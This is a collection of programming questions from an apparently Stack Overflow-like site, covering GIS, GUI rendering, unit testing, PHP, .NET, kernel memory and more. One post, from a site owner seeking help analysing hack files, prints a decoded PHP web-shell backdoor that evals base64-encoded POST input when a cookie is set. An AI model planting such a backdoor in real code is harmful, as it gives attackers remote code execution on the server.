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• Use GIS to get geographic info for a single point

  - by Patrick Scott

  I am not quite sure where to start with this. I only just started looking into this in the past week, but hopefully someone can help point me in the right direction. The goal of my project is to be able to take a geohash, decode it to latitude and longitude, check the point against some GIS data, and find out some information about that point such as the terrain(is this a body of water? A lake? An Ocean? Is this a mountainous area? Is this a field?), altitude, or other useful things. Then simply be able to display that information as a starter. What I have gathered so far is that I need to get some free GIS data (this is for school, so I have no money!). I would like to have world data, and I found some online (http://www.webgis.com/terraindata.html) but I don't know where to go from here. I saw some tools such as PostGIS as a database. I am currently using Java for some other parts of the project, so if possible I would like to stick to Java. Can someone help me out, or point me in the right direction?

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• wxGraphicsContext dreadfully slow on Windows

  - by Jonatan

  I've implemented a plotter using wxGraphicsContext. The development was done using wxGTK, and the graphics was very fast. Then I switched to Windows (XP) using wxWidgets 2.9.0. And the same code is extremely slow. It takes about 350 ms to render a frame. Since the user is able to drag the plotter with the mouse to navigate it feels very sluggish with such a slow update rate. I've tried to implement some parts using wxDC and benchmarked the difference. With wxDC the code runs just about 100 times faster. As far as I know both Cairo and GDI+ are implemented in software at this point, so there's no real reason Cairo should be so much faster than GDI+. Am I doing something wrong? Or is the GDI+ implementation just not up on par with Cairo? One small note: I'm rendering to a wxBitmap now, with the wxGraphicsContext created from a wxMemoryDC. This is to avoid flicker on XP, since double buffering doesn't work there.

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• How to create platform independent 3D video on 3D TV via HDMI 1.4?

  - by artif

  I am writing a real-time, interactive 3D visualization program and at each point in the program, I can compute 2 images (bitmaps) that are meant to look 3D together by means of stereoscopy. How do I get my program to display the image pairs such that they look 3D on a 3D TV? Is there a platform independent way of accomplishing it? (By platform I mean independent of GPU brand, operating system, 3D TV vendor, etc.) If not, which is preferable-- to lock in by GPU, OS, or 3D TV? I suppose I need to be using an HDMI 1.4 cable with the 3D TV? HDMI 1.4 can encode stereoscopy via side-by-side method. But how do I send such an encoded signal to the monitor? What kind of libraries do I use for this sort of thing? Windows DirectShow? If DirectShow is correct, is there a cross platform equivalent available? If anyone asks, yes I have seen this question: http://stackoverflow.com/questions/2811350/generating-3d-tv-stereoscopic-output-programmatically. However, correct me if I am wrong, it does not appear to be what I'm looking for. I do not have an OpenGL or Direct3D program that generates polygons, for which a Nvidia card can do ad-hoc impromptu stereoscopy simply by rendering the scene from 2 slightly offset points of view and then displaying those 2 images on the monitor-- my program already has those image pairs and needs to display them (and they are not the result of rendering polygons). Btw, I have never done any major multimedia programming before and know very little about HDMI, Direct Show, 3D TVs, etc so pardon me if any parts of this question did not make any sense at all.

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• How to keep your unit tests simple and isolated and still guarantee DDD invariants ?

  - by ian31

  DDD recommends that the domain objects should be in a valid state at any time. Aggregate roots are responsible for guaranteeing the invariants and Factories for assembling objects with all the required parts so that they are initialized in a valid state. However this seems to complicate the task of creating simple, isolated unit tests a lot. Let's assume we have a BookRepository that contains Books. A Book has : an Author a Category a list of Bookstores you can find the book in These are required attributes : a book has to have an author, a category and at least a book store you can buy the book from. There's likely to be a BookFactory since it is quite a complex object, and the Factory will initialize the Book with at least all the mentioned attributes. Now we want to unit test a method of the BookRepository that returns all the Books. To test if the method returns the books, we have to set up a test context (the Arrange step in AAA terms) where some Books are already in the Repository. If the only tool at our disposal to create Book objects is the Factory, the unit test now also uses and is dependent on the Factory and inderectly on Category, Author and Store since we need those objects to build up a Book and then place it in the test context. Would you consider this is a dependency in the same way that in a Service unit test we would be dependent on, say, a Repository that the Service would call ? How would you solve the problem of having to re-create a whole cluster of objects in order to be able to test a simple thing ? How would you break that dependency and get rid of all these attributes we don't need in our test ? By using mocks or stubs ? If you mock up things a Repository contains, what kind of mock/stubs would you use as opposed to when you mock up something the object under test talks to or consumes ?

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• Null reference exceptions in .net

  - by Carlo

  Hello, we're having this big problem with our application. It's a rather large application with several modules, and thousands and thousands lines of code. A lot of parts of the application are designed to exist only with a reference to another object, for example a Person object can never exists without a House object, so if you at any point in the app say: bool check = App.Person.House == null; check should always be false (by design), so, to keep using that example, while creating modules, testing, debugging, App.Person.House is never null, but once we shipped the application to our client, they started getting a bunch of NullReferenceException with the objects that by design, should never have a null reference. They tell us the bug, we try to reproduce it here, but 90% of the times we can't, because here it works fine. The app is being developed with C# and WPF, and by design, it only runs on Windows XP SP 3, and the .net framework v3.5, so we KNOW the user has the same operative system, service pack, and .net framework version as we do here, but they still get this weird NullReferenceExceptions that we can't reproduce. So, I'm just wondering if anyone has seen this before and how you fixed it, we have the app running here at least 8 hours a day in 5 different computers, and we never see those exceptions, this only happens to the client for some reason. ANY thought, any clue, any solution that could get us closer to fixing this problem will be greatly appreciated. Thanks!

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• Unit Testing-- fundamental goal?

  - by David

  Me and my co-workers had a bit of a disagreement last night about unit testing in our PHP/MySQL application. Half of us argued that when unit testing a function within a class, you should mock everything outside of that class and its parents. The other half of us argued that you SHOULDN'T mock anything that is a direct dependancy of the class either. The specific example was our logging mechanism, which happened through a static Logging class, and we had a number of Logging::log() calls in various locations throughout our application. The first half of us said the Logging mechanism should be faked (mocked) because it would be tested in the Logging unit tests. The second half of us argued that we should include the original Logging class in our unit test so that if we make a change to our logging interface, we'll be able to see if it creates problems in other parts of the application due to failing to update the call interface. So I guess the fundamental question is-- do unit tests serve to test the functionality of a single unit in a closed environment, or show the consequences of changes to a single unit in a larger environment? If it's one of these, how do you accomplish the other?

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• getting a "default" concrete class that implements an interface

  - by Roger Joys

  I am implementing a custom (and generic) Json.net serializer and hit a bump in the road that I could use some help on. When the deserializer is mapping to a property that is an interface, how can I best determine what sort of object to construct to deserialize to to place into the interface property. I have the following: [JsonConverter(typeof(MyCustomSerializer<foo>))] class foo { int Int1 { get; set; } IList<string> StringList {get; set; } } My serializer properly serializes this object, and but when it comes back in, and I try to map the json parts to to object, I have a JArray and an interface. I am currently instantiating anything enumerable like List as theList = Activator.CreateInstance(property.PropertyType); This works create to work with in the deserialization process, but when the property is IList, I get runtime complaints (obviously) about not being able to instantiate an interface. So how would I know what type of concrete class to create in a case like this? Thank you

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• read the currency format

  - by user485783

  perhaps for some people this is easy, but I want to learn There are 2 currency formats: first currency format is 1,123,123.12 and this format may be like $1,123,123.12 or 1,123,123.12€ and second currency format is 1.123.123,12 and this may be such $1.123.123,12 or 1.123.123,12€ so the difference is the placement of dots and commas The above format will be $this->value('one of the currency format insert here'); e.g. $this->value('$1,123,123.12'); or $this->value('1.123.123,12€'); that I want to know is the code if (first currency format) {use blah .. blah ..} elseif (second currency format) {use blah .. blah ..} else {/ / unsupported format} so how the code to identify whether the entry is input the first currency format or second currency format? thanks for the your pointers and ideas. UPDATED: I apologize for mistake in giving examples When I tried to test the code I have a little confused because it seems not working then I changed my prevoious parts, so that $value['amount'] it may be use first currency format 1,123,123.12 and this format may be like $1,123,123.12 or 1,123,123.12€ and second currency format 1.123.123,12 and this may be such $1.123.123,12 or 1.123.123,12€ then the value['amount'] will identify first with code like the following conditional class curr_format { private bla...bla..1 private bla...bla..2 var etc.. public function curr_format ($bla...,$and_bla..) { //then make conditional is here if (first currency format) {//use blah .. blah ..} elseif (second currency format) {//use blah .. blah ..} else {/ / unsupported format} //another codes.. at the end output as look like: $identify = new curr_format(); echo $identify->curr_format($value['amount'],$else_statement);

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• Observer Design Pattern - multiple event types

  - by David

  I'm currently implementing the Observer design pattern and using it to handle adding items to the session, create error logs and write messages out to the user giving feedback on their actions (e.g. You've just logged out!). I began with a single method on the subject called addEvent() but as I added more Observers I found that the parameters required to detail all the information I needed for each listener began to grow. I now have 3 methods called addMessage(), addStorage() and addLog(). These add data into an events array that has a key related to the event type (e.g. log, message, storage) but I'm starting to feel that now the subject needs to know too much about the listeners that are attached. My alternative thought is to go back to addEvent() and pass an event type (e.g. USER_LOGOUT) along with the data associated and each Observer maintains it's own list of event handles it is looking for (possibly in a switch statement), but this feels cumbersome. Also, I'd need to check that sufficient data had also been passed along with the event type. What is the correct way of doing this? Please let me know if I can explain any parts of this further. I hope you can help and see the problem I'm battling with.

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• properly format postal address with line breaks [google maps]

  - by munchybunch

  Using V3 of the google maps API, is there any reliable way to format addresses with the line break? By this, I mean something like 1600 Amphitheatre Parkway Mountain View, CA 94043 should be formatted as 1600 Amphitheatre Parkway Mountain View, CA 94043 Looking through the response object from geocoding, there is an address_components array that has, for the above address, 8 components (not all of the components are used for the address): 0: Object long_name: "1600" short_name: "1600" types: Array[1] 0: "street_number" length: 1 1: Object long_name: "Amphitheatre Pkwy" short_name: "Amphitheatre Pkwy" types: Array[1] 0: "route" length: 1 2: Object long_name: "Mountain View" short_name: "Mountain View" types: Array[2] 0: "locality" 1: "political" length: 2 3: Object long_name: "San Jose" short_name: "San Jose" types: Array[2] 0: "administrative_area_level_3" 1: "political" length: 2 4: Object long_name: "Santa Clara" short_name: "Santa Clara" types: Array[2] 0: "administrative_area_level_2" 1: "political" length: 2 5: Object long_name: "California" short_name: "CA" types: Array[2] 0: "administrative_area_level_1" 1: "political" length: 2 6: Object long_name: "United States" short_name: "US" types: Array[2] 0: "country" 1: "political" length: 2 7: Object long_name: "94043" short_name: "94043" types: Array[1] 0: "postal_code" length: 1 I was thinking that you could just combine parts that you want, like sprintf("%s %s<br />%s, %s %s", array[0].short_name, array[1].short_name, array[2].short_name, array[5].short_name, array[7].short_name) [edit]I just realized that sprintf isn't defined by default in JavaScript, so just a concatenation would do I guess.[/edit] But that seems awfully unreliable. Does anyone know the details on the structure of address_components, and if it's reliably similar like that for street addresses in the US? If I wanted to, I guess I could look for the proper types (street_number,route, etc) as well. I'd love it if anyone had a better way than what I"m doing here...

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• PHP hack files found - help decoding and identifying

  - by akc

  I found a handful of hack files on our web server. I managed to de-obfuscate them a bit -- they all seem to have a part that decodes into a chunk that looks like: if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) {echo '<textarea rows=28 cols=80>'; $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) @eval($d); echo '</textarea>';}echo '<form action="" method=post><textarea cols=80 rows=28 name=c></textarea><br><input type=submit></form>';exit;} But this chunk (decoded above) is usually embedded into a larger code snippet. I've shared the code of one of the files in its entirety here: http://pastie.org/3753704 I can sort of see where this code is going, but definitely not an expert at PHP and could use some help figuring out more specifically what it's doing or enabling. Also, if anyone happens to be familiar with this hack, any information on how it works, and where the backdoor and other components of the hack may be hidden would be super helpful and greatly appreciated. I tried to Google parts of the code, to see if others have reported it, but only came up with this link: http://www.daniweb.com/web-development/php/threads/365059/hacked-joomla Thanks!

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• Greasemonkey script not executed when unusual content loading is being used

  - by Sam Brightman

  I'm trying to write a Greasemonkey script for Facebook and having some trouble with the funky page/content loading that they do (I don't quite understand this - a lot of the links are actually just changing the GET, but I think they do some kind of server redirect to make the URL look the same to the browser too?). Essentially the only test required is putting a GM_log() on its own in the script. If you click around Facebook, even with facebook.com/* as the pattern, it is often not executed. Is there anything I can do, or is the idea of a "page load" fixed in Greasemonkey, and FB is "tricking" it into not running by using a single URL? If I try to do some basic content manipulation like this: GM.log("starting"); var GM_FB=new Object; GM_FB.birthdays = document.evaluate("//div[@class='UIUpcoming_Item']", document, null, XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null); for (i = GM_FB.birthdays.snapshotLength - 1; i >= 0; i--) { if (GM_FB.birthdayRegex.test(GM_FB.birthdays.snapshotItem(i).innerHTML)) { GM_FB.birthdays.snapshotItem(i).setAttribute('style','font-weight: bold; background: #fffe88'); } } The result is that sometimes only a manual page refresh will make it work. Pulling up the Firebug console and forcing the code to run works fine. Note that this isn't due to late loading of certain parts of the DOM: I have adding some code later to wait for the relevant elements and, crucially, the message never gets logged for certain transitions. For example, when I switch from Messages to News Feed and back.

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• Keyboard shortcut to Un/Comment out code in Mathematica 7?

  - by dbjohn

  A keyboard shortcut to comment/uncomment out a piece of code is common in other programming IDE's for languages like Java, .Net. I find it a very useful technique when experimenting through trial and error to temporarily comment out and uncomment lines, words and parts of the code to find out what is and isn't working. I cannot find any such keyboard shortcut on the Mathematica front end in version 7. I know that it is possible to comment out code by selecting the code, right mouse click and select Un/Comment from the menu that appears but this is too slow while coding. I tried to access this using the menu key Menu on the keyboard but Mathematica frontend doesn't respond to or recognise this key unlike other applications, this could have allowed a key combination for commenting. Can someone else verify that this isn't unique to my machine and that the key isn't recognised by mathematica. I looked at this question and looked in the KeyEventTranslations.tr file but I don't think there is any way to create a shortcut to do this(?). Should I just live with it? Any other suggestions? (I have seen there is an Emacs version of mathematica, I have never tried Emacs or this Mma version and imagine that it would have this ability but would prefer not to go to the trouble and uncertainty of installing it. Also I would guess that the Wolfram Workbench could do this, but that may not be worth the investment just for this.)

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• asp.net mvc stand alone ascx control how do i link (css and js) most efficiently

  - by Julian

  Hi, I need some advice. I have developed some asp.net mvc web pages. Each page has a master and some ascx controls (between 2 - 6) embedded into it a js and css file. Up to now every thing was fine. In order to improve modularity, flexibility and testability the ascx's are now expected to be able to work as stand alone controls. (Each ascx has also got its own css and js files in some cases it has another control inside it) In order to meet this requirement we call the controller with the relevant parameters and it returns the ascx (partial) directly to the browser without all of the other parts of the original page . In order to get it to display correctly (css) and act correctly (js/jquery) all of the relevant files need to be added (as links or scripts eg. href="<%= ResolveUrl(styleSheet)%>") to the user control. This is "contradicting" the concept of positioning the files at the most logical place (could be the master page for example). How can I overcome this problem? Keep in mind that this is relevant for each "control" ascx file. Any thoughts will be appreciated.

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• Linq to SQL code generator features

  - by Anders Abel

  I'm very fond of Linq to SQL and the programming model it encourages. I think that in many cases when you are in control of both the database schema and the code it is not worth the effort to have different relational and object models for the data. Working with Linq to SQL makes it simple to have type safe data access from .NET, using the partial extension methods to implement business rules. Unfortunately I do not like the dbml designer due to the lack of a schema refresh function. So far I have used SqlMetal, but that lacks the customization options of the dbml designer. Because of that I've started working on a tool which regenerates the whole code file like SqlMetal, but has the ability to do the customizations that are available in the dbml designer (and maybe more in the future). The customizations will be described in an xml file which only contains those parts that shouldn't have default values. This should keep the xml file size down as well as the maintenance burden of it. To help me focus on the right features, I would like to know: What would be your favourite feature in a linq to sql code generator?

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• Do you have health checks in your web app or web site?

  - by Pekka

  I have built PHP based "health check" scripts for several projects, but they were always custom-made for the occasion and not written for abstraction as an independent product. I would like to know whether such a solution exists. What I meam by "health check" is a protected web page that functions much like a suite of unit tests, but on a more operational level, showing red/yellow/green statuses for things like Are the cache directories writable? Is the PHP version correct, are required extensions installed? Is the configuration file protected from writing? Is the database server reachable? Do the key tables exist in the database? Is there enough disk space available? Is the site's front page reachable and renders fully ( = no PHP errors)? Do the project's libraries' MD5 checksums match the original ones? Do you do this - or parts of it - in your applications and web sites? Are there any standardized tools for this that bring along all the functionality to perform the tests (ideally as plugins), and just need to be configured accordingly? Is there a way to set this up using one of the Unit Testing frameworks available for PHP (preferably PHPUnit)? If so, do you know any resources / tutorials outlining how?

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• Text piped to PowerShell.exe isn't recieved when using [Console]::ReadLine()

  - by crtracy

  I'm getting itermittent data loss when calling .NET [Console]::ReadLine() to read piped input to PowerShell.exe: >ping localhost | powershell -NonInteractive -NoProfile -C "do {$line = [Console]::ReadLine(); ('' + (Get-Date -f 'HH:mm :ss') + $line) | Write-Host; } while ($line -ne $null)" 23:56:45time<1ms 23:56:45 23:56:46time<1ms 23:56:46 23:56:47time<1ms 23:56:47 23:56:47 Normally 'ping localhost' from Vista64 looks like this, so there is a lot of data missing from the output above: Pinging WORLNTEC02.bnysecurities.corp.local [::1] from ::1 with 32 bytes of data: Reply from ::1: time<1ms Reply from ::1: time<1ms Reply from ::1: time<1ms Reply from ::1: time<1ms Ping statistics for ::1: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms But using the same API from C# recieves all the data sent to the process (excluding some newline differences). Code: namespace ConOutTime { class Program { static void Main (string[] args) { string s; while ((s = Console.ReadLine ()) != null) { if (s.Length > 0) // don't write time for empty lines Console.WriteLine("{0:HH:mm:ss} {1}", DateTime.Now, s); } } } } Output: 00:44:30 Pinging WORLNTEC02.bnysecurities.corp.local [::1] from ::1 with 32 bytes of data: 00:44:30 Reply from ::1: time<1ms 00:44:31 Reply from ::1: time<1ms 00:44:32 Reply from ::1: time<1ms 00:44:33 Reply from ::1: time<1ms 00:44:33 Ping statistics for ::1: 00:44:33 Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 00:44:33 Approximate round trip times in milli-seconds: 00:44:33 Minimum = 0ms, Maximum = 0ms, Average = 0ms So, if calling the same API from PowerShell instead of C# many parts of StdIn get 'eaten'. Is the PowerShell host reading string from StdIn even though I didn't use 'PowerShell.exe -Command -'?

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• Are there any code critique sites or similar resources?

  - by Ukko

  I have noticed when people post example code illustrating some issue that they are having often they will gather a number of comments addressing the quality of the code they presented and not the actual problem asked. This is very helpful--if not well directed. Often, this is wasted effort since the asker is often not receptive and the code is often chopped down to something small to post leaving lots of rough edges. In the old days you would see people asking questions like this on comp.lang.lisp and other parts of the comp.lang hierarchy. But that bit of the net kind of sank into the sewers of neglect. Is there a comparable one-stop-shop today? I am partially asking for selfish reasons, I know how to write good idiomatic C, Lisp, O'Caml, and Java code. But I learned C++ pre-template and STL, those rusty skills are not really applicable to today's C++. I have picked up languages like Scala in a vacuum and get by, but am I really doing it correctly? There are so many ways you can abuse a language, I am currently working against a codebase of Fortran written in C, and I recognize and loathe the "that guy" who wrote it. I don't want to be someone else's "that guy" if I can help it. Just because it works does not mean that one did not totally miss the boat on how it should have been done. Do you seek out this type of critique? If so how, where and why? What types of benefits do you derive from it? How about abuse and trolls?

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• svn+apache per directory access control: weird permissions issue (403 Forbidden error)

  - by gveda

  Hi, I had a perfectly working svn+apache install where I was using per directory access control to restrict access to various parts of the repository. In particular, no one had access to the top level in the repository [/]. People had access to folders like [/www] etc. I was specifying these permissions in a file (svn-access-file). I had to move to a new machine. So I installed subversion-1.6.3 and httpd-2.2.11 on it, and modified the conf file to mimic the conf file on the old machine (and I copied the svn-access-file and the svn-auth-file). Then I took an svn dump and did a load to put stuff back in the new repository. Now I can check stuff out, modify stuff, and commit. However, as soon as I try to do an 'svn up' on an already checked out copy of some sub-folder [/www/people], I get the following error: svn: Server sent unexpected return value (403 Forbidden) in response to OPTIONS request for 'https://[servername]/svn' It seems the problem is that it is trying to access the top level directory [/] even though really it should only be trying to access [/www]. If I temporarily give the user access to [/], it works. Can someone please tell me how to fix this? Everything worked on the old machine. Thanks! Gaurav

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• mmap only needed pages of kernel buffer to user space

  - by axeoth

  See also this answer: http://stackoverflow.com/a/10770582/1284631 I need something similar, but without having to allocate a buffer: the buffer is large, in theory, but the user space program only needs to access some parts of it (it mocks some registers of a hardware). As I cannot allocate with vmalloc_user() such a large buffer (kernel 32 bit, in embedded environment, no swap...), I followed the same approach as in the quoted answer, trying to allocate only those pages that are really requested by the user space. So: I use a my_mmap() function for the device file (actually, is the .mmap field of a struct uio_info) to set up the fields of the vma, then, in the vm_area_struct's .fault field (also named my_fault()), I should return a page. except that: In the my_fault() method of vm_area_struct, I cannot obtain a page through: vmf->page=vmalloc_to_page(my_buf + (vmf->pgoff << PAGE_SHIFT)); since there is no allocated buffer: my_buf = vmalloc_user(MY_BUF_SIZE); fails with "allocation failed: out of vmalloc space - use vmalloc= to increase size." (and there is no room or swap to increase that vmalloc= parameter). So, I would need to get a page from the kernel and fill the vmf->page field. How to allocate a page (I assume that the offset of the page is known, as it is vm->pgoff). What base memory should I use instead of my_buf? PS: I also did set up the vma->flags |= VM_NORESERVE; (in the my_mmap()), but not sure if it helps. Is there any vmalloc_user_unreserved()-like function? (let's say, lazy allocation) Also, writing 1 to /proc/sys/vm/overcommit_memory and large values (eg 500) to /proc/sys/vm/overcommit_ratio before trying to my_buf=vmalloc_user(<large_size>) didn't work.

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• Writing a VM - well formed bytecode?

  - by David Titarenco

  Hi, I'm writing a virtual machine in C just for fun. Lame, I know, but luckily I'm on SO so hopefully no one will make fun :) I wrote a really quick'n'dirty VM that reads lines of (my own) ASM and does stuff. Right now, I only have 3 instructions: add, jmp, end. All is well and it's actually pretty cool being able to feed lines (doing it something like write_line(&prog[1], "jmp", regA, regB, 0); and then running the program: while (machine.code_pointer <= BOUNDS && DONE != true) { run_line(&prog[machine.cp]); } I'm using an opcode lookup table (which may not be efficient but it's elegant) in C and everything seems to be working OK. My question is more of a "best practices" question but I do think there's a correct answer to it. I'm making the VM able to read binary files (storing bytes in unsigned char[]) and execute bytecode. My question is: is it the VM's job to make sure the bytecode is well formed or is it just the compiler's job to make sure the binary file it spits out is well formed? I only ask this because what would happen if someone would edit a binary file and screw stuff up (delete arbitrary parts of it, etc). Clearly, the program would be buggy and probably not functional. Is this even the VM's problem? I'm sure that people much smarter than me have figured out solutions to these problems, I'm just curious what they are!

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• Cocoa framework development: sharing between projects

  - by e.James

  I am currently developing a handful of similar Cocoa desktop apps. In an effort to share code between them, I have identified a set of core classes and functions that can be common across all of these applications. I would like to bundle this common code into a framework which all of my current applications (and any future ones) can link against. Now, here's the hard part: I'm going to be developing this framework as I go, so I need each of my desktop apps to have a reference to it, but I want to be able to edit the framework source code from within each of the app projects and have the framework automatically rebuilt as required. For example, let's say I have the Xcode project for DesktopAppNumberOne open, and I decide that one of my framework classes needs to be changed. I would like to: Open and edit the source file for that framework class without having to open the framework project in Xcode. Hit "build" on DesktopAppNumberOne, and see the framework rebuilt first (because one of its sources has changed), then see parts of DesktopAppNumberOne rebuilt (because one of the frameworks it links against has changed). I can see how to do this with only one app and one framework, but I'm having trouble figuring out how to do it with multiple apps that share a single framework. Has anyone had success with this approach? Am I perhaps going about this the wrong way? Any help would be appreciated.

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• Interchange structured data between Haskell and C

  - by Eonil

  First, I'm a Haskell beginner. I'm planning integrating Haskell into C for realtime game. Haskell does logic, C does rendering. To do this, I have to pass huge complexly structured data (game state) from/to each other for each tick (at least 30 times per second). So the passing data should be lightweight. This state data may laid on sequential space on memory. Both of Haskell and C parts should access every area of the states freely. In best case, the cost of passing data can be copying a pointer to a memory. In worst case, copying whole data with conversion. I'm reading Haskell's FFI(http://www.haskell.org/haskellwiki/FFICookBook#Working_with_structs) The Haskell code look specifying memory layout explicitly. I have a few questions. Can Haskell specify memory layout explicitly? (to be matched exactly with C struct) Is this real memory layout? Or any kind of conversion required? (performance penalty) If Q#2 is true, Any performance penalty when the memory layout specified explicitly? What's the syntax #{alignment foo}? Where can I find the document about this? If I want to pass huge data with best performance, how should I do that? *PS Explicit memory layout feature which I said is just C#'s [StructLayout] attribute. Which is specifying in-memory position and size explicitly. http://www.developerfusion.com/article/84519/mastering-structs-in-c/ I'm not sure Haskell has matching linguistic construct matching with fields of C struct.

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• ASP MVC Controller Method not always called from $.getJSON request

  - by johnvpetersen

  I have a controller method that returns a jSON object and in one calling situation, it works and in another calling situation, it does not work. When the URL in my browser is this: http://localhost:65247/Client -- it works. But, when my url looks like this: http://localhost:65247/Client/UserAdmin?id=6 -- it DOES NOT work In a nutshell, clients have users. From within the client, I wish to work on a specific user (this is the UserAdmin view). In this case, the client id is 6. From within the UserAdmin view that was launched with Id=6, I then wish to select a user from a dropdown. The idea was to use javascript and $.getJSON to fetch data for the specific user so as not to have to refresh the entire page. I use this approach in other parts of the app. The only difference I can see is with the URL in the browser. It would appear the presence of parameters via the '?' is futzing things up a bit. Any ideas?? Thanks in advance. John

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• Python: Convert format string to regular expression

  - by miracle2k

  The users of my app can configure the layout of certain files via a format string. For example, the config value the user specifies might be: layout = '%(group)s/foo-%(locale)s/file.txt' I now need to find all such files that already exist. This seems easy enough using the glob module: glob_pattern = layout % {'group': '*', 'locale': '*'} glob.glob(glob_pattern) However, now comes the hard part: Given the list of glob results, I need to get all those filename-parts that matched a given placeholder, for example all the different "locale" values. I thought I would generate a regular expression for the format string that I could then match against the list of glob results (or then possibly skipping glob and doing all the matching myself). But I can't find a nice way to create the regex with both the proper group captures, and escaping the rest of the input. For example, this might give me a regex that matches the locales: regex = layout % {'group': '.*', 'locale': (.*)} But to be sure the regex is valid, I need to pass it through re.escape(), which then also escapes the regex syntax I have just inserted. Calling re.escape() first ruins the format string. I know there's fnmatch.translate(), which would even give me a regex - but not one that returns the proper groups. Is there a good way to do this, without a hack like replacing the placeholders with a regex-safe unique value etc.? Is there possibly some way (a third party library perhaps?) that allows dissecting a format string in a more flexible way, for example splitting the string at the placeholder locations?

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